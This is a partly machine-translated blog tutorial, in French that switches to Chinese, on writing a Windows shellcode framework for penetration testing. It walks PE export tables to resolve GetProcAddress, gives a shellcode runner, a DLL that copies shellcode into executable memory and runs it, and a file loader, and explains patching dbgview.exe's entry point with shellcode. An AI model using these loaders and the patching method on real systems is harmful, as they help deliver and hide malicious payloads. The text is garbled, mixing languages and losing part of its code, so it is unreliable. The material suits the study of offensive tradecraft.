L'essence du shellcode est en fait un morceau de code assembleur qui peut s'exécuter indépendamment. Il n'a aucune structure de fichiers, il ne repose sur aucun environnement de compilation et ne peut pas être double-cliqué pour s'exécuter comme un exe. Je n'entrerai pas ici dans les détails du shellcode spécifique. Vous pouvez rechercher vous-même des informations pertinentes sur Baidu.
Parce que j'ai fait beaucoup de pénétration au cours des six derniers mois, les shellcodes utilisés sont tous générés par CS ou MSF. Cependant, le shellcode généré automatiquement par l'outil est après tout mort, et il n'y a aucun moyen d'étendre la fonction. par vous-même. Un autre exemple est que vous connaissez une nouvelle vulnérabilité, mais pour l'exploitation de la vulnérabilité, le POC ne peut faire apparaître qu'une calculatrice. Si vous souhaitez réaliser la fonction souhaitée, vous devez écrire le shellcode vous-même. Il est donc particulièrement important de le faire. maîtriser la technologie d'écriture du shellcode, et le shellcode est également essentiel pour les débordements de tampon et les vers.
Si vous souhaitez écrire du shellcode vous-même, vous devez connaître les points de connaissances les plus importants dans l'écriture du shellcode. Ci-dessous, je listerai les points qui doivent être résolus sous forme de questions :
1. Le shellcode est aussi un programme s'il veut fonctionner normalement, il doit également utiliser diverses données (telles que des chaînes globales, etc.), mais nous savons tous que les variables globales sont accessibles à des adresses fixes (codées en dur, c'est-à-dire codé en dur) (ne peut pas être modifié), et notre shellcode peut être configuré pour s'exécuter n'importe où dans n'importe quel programme. Comment pouvons-nous garantir que le shellcode peut accéder avec précision aux données requises dans ce cas ?
2. Le Shellcode s'exécute également dans le système d'exploitation et doit appeler certaines API système. Comment pouvons-nous obtenir les adresses de ces API ?
3. Si l'API dont nous avons besoin n'est pas importée dans le programme exécuté par Shellcode et que nous devons l'utiliser, que devons-nous faire ?
Pour des raisons d'espace, vous pouvez trouver les réponses à ces questions dans les trois articles "Introduction au développement de shellcode sur plate-forme Windows 1, 2 et 3" traduits par l'auteur principal de FB Rabbit_Run. Fondamentalement, toutes les connaissances préalables nécessaires pour écrire du shellcode. est couvert. C’est impliqué, vous pouvez apporter vos questions pour trouver des réponses.
Après avoir connu ces pré-connaissances, il sera toujours gênant et difficile d'écrire du shellcode uniquement à la main, tout comme l'écriture de code js natif est bien inférieure à l'utilisation de js. comme jquery. Le framework est pratique et rapide à développer. Par conséquent, nous devons établir un cadre de programmation shellcode qui facilite l’écriture de fonctions personnalisées. Il existe de nombreux frameworks de programmation de shellcode de ce type sur Internet, tels que celui que TK a utilisé pour l'open source, les deux que Teacher OneBugMan a écrits auparavant, etc. J'ai écrit un framework de programmation de shellcode lorsque j'étudiais à l'école, mais je ne peux pas je ne le trouve plus, et pendant cette période d'infiltration, j'ai oublié une grande partie de mes connaissances antérieures, j'ai donc écrit un framework shellcode et l'ai pratiqué sur la base du cours dispensé par OneBugMan (si vous êtes intéressé, vous pouvez soutenir l'open du professeur classe, ce qui est très bien).
Utilisez le projet vide Win32 pour créer ce projet et sélectionnez la configuration relative/x86 pour la compilation. Avant de compiler, nous devons effectuer les paramètres suivants :
La raison pour laquelle les fichiers sont nommés de cette manière est qu'ils sont disposés d'abord avec des chiffres, puis avec des lettres. Les fichiers du projet sont nommés de cette façon afin que lors de la compilation et de la génération de l'exe, ils soient compilés et générés dans l'ordre indiqué. dans la figure ci-dessous. L'ordre des fonctions dans le segment de code exe est également organisé en fonction de l'ordre des fonctions dans le fichier ci-dessous, afin que nous puissions facilement calculer la taille du Shellcode (ShellcodeEnd dans z.end moins ShellcodeStart dans a.start. est la taille du shellcode), écrivant ainsi le shellcode dans le fichier final généré.
Les noms sont cohérents, sinon le point d'entrée est introuvable car nous Le point d'entrée a été modifié de sorte que certaines fonctions du formulaire C ne peuvent pas être utilisées directement et doivent être remplacées par des formulaires d'appel dynamiques. Il y a aussi le calcul du. taille du shellcode que nous écrivons.
Préparation : obtenir dynamiquement la matrice de kernel32.dll et utiliser le format de fichier PE pour obtenir le GetProc Adresse de la fonction et obtenir en outre l'adresse LoadLibrary Avec ces étapes préliminaires, nous pouvons obtenir les adresses de n'importe quelle autre API, puis réalisez les différentes fonctions de notre shellcode. Obtenez l'adresse de la fonction GetProcAddress. La raison pour laquelle la chaîne GetProcAddress doit être écrite comme indiqué ci-dessous est que si vous utilisez cette méthode d'écriture, char str[]="xxxxx"; au segment rdata du programme et devient une adresse absolue, l'utilisation d'adresses absolues provoquera des erreurs d'exécution du shellcode.FARPROC getProcAddress(HMODULE hModuleBase) { FARPROC pRet = NULL; PIMAGE_DOS_HEADER lpDosHeader; PIMAGE_NT_HEADERS32 lpNtHeaders; PIMAGE_EXPORT_DIRECTORY lpExports; PWORD lpwOrd; PDWORD lpdwFunName; PDWORD lpdwFunAddr; DWORD dwLoop; lpDosHeader = (PIMAGE_DOS_HEADER)hModuleBase; lpNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hModuleBase + lpDosHeader->e_lfanew); if (!lpNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size) { return pRet; } if (!lpNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) { return pRet; } lpExports = (PIMAGE_EXPORT_DIRECTORY)((DWORD)hModuleBase + (DWORD)lpNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); if (!lpExports->NumberOfNames) { return pRet; } lpdwFunName = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNames); lpwOrd = (PWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNameOrdinals); lpdwFunAddr = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfFunctions); for (dwLoop = 0; dwLoop NumberOfNames - 1; dwLoop++) { char * pszFunction = (char*)(lpdwFunName[dwLoop] + (DWORD)hModuleBase); if (pszFunction[0] == 'G' &&pszFunction[1] == 'e' &&pszFunction[2] == 't' &&pszFunction[3] == 'P' &&pszFunction[4] == 'r' &&pszFunction[5] == 'o' &&pszFunction[6] == 'c' &&pszFunction[7] == 'A' &&pszFunction[8] == 'd' &&pszFunction[9] == 'd' &&pszFunction[10] == 'r' &&pszFunction[11] == 'e' &&pszFunction[12] == 's' &&pszFunction[13] == 's') { pRet = (FARPROC)(lpdwFunAddr[lpwOrd[dwLoop]] + (DWORD)hModuleBase); break; } } return pRet; }
图7 生成的shellcode
例如我们想让dbgview.exe运行我们生成的shellcode
第一步:我们使用lordPE查看dbgview.exe程序的入口点。
然后使用010Editor打开dbgview.exe找到入口点位置,从入口点位置删除掉我们需要替换进去的shellcode大小的字节,然后替换成我们的shellcode,保存运行即可执行我们的shellcode。
源码A
#include <windows.h> #include <stdio.h> #pragma comment(linker, "/section:.data,RWE") unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89........在这里写入shellcode"; void main() { __asm { mov eax, offset shellcode jmp eax } }</stdio.h></windows.h>
源码B
// dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "stdafx.h" #include<windows.h> #include<iostream> //data段可读写 #pragma comment(linker, "/section:.data,RWE") HANDLE My_hThread = NULL; //void(*ptrceshi)() = NULL; typedef void(__stdcall *CODE) (); unsigned char shellcode[] = "x00\x49\xbe\x77\x69\x6e\x.........在这里填入shellcode"; DWORD WINAPI ceshi(LPVOID pParameter) { PVOID p = NULL; if ((p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL) { } if (!(memcpy(p, shellcode, sizeof(shellcode)))) { } CODE code = (CODE)p; code(); return 0; } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: My_hThread = ::CreateThread(NULL, 0, &ceshi, 0, 0, 0);//新建线程 case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }</iostream></windows.h>
我们如果不想复制出来shellcode运行我们也可以直接运行我们生成的sc.bin,不过得需要自己写一个加载器。
代码如下
#include<stdio.h> #include<stdlib.h> #include<windows.h> int main(int argc, char* argv[]) { HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL); if (hFile == INVALID_HANDLE_VALUE) { printf("Open File Error!%d\n", GetLastError()); return -1; } DWORD dwSize; dwSize = GetFileSize(hFile, NULL); LPVOID lpAddress = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (lpAddress == NULL) { printf("VirtualAlloc error:%d\n", GetLastError()); CloseHandle(hFile); return -1; } DWORD dwRead; ReadFile(hFile, lpAddress, dwSize, &dwRead, 0); __asm { call lpAddress; } _flushall(); system("pause"); return 0; }</windows.h></stdlib.h></stdio.h>
写好加载器编译生成exe以后我们只需要把sc.bin文件拖到生成的exe上就可以自动运行我们的shellcode,或者使用命令行 >某某.exe sc.bin
如果大家不想自己写加载器也可以使用别人写好的工具,我以前在看雪上发现一个小工具也挺好用的,这个小工具可以把shellcode转换成字符串形式也可以将字符串形式的shellcode转换成bin文件形式然后再加载运行shellcode。
原帖子链接工具链接
我们可以使用这个工具执行生成的sc.bin文件,只需将该文件拖入工具中,然后点击转换为字符串形式
这和我们在010Editor中看到的是一样的,相当于帮我们自动复制出来了。
因为我们生成的sc.bin文件是可以直接执行的,所以就不需要点击转成Bin文件了,所以我们直接点击执行shellcode,弹出了Messagebox窗口,我们点击确定后,又创建了1.txt文档。
至此我们就可以根据框架举一反三,编写我们自己功能的shellcode了。
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!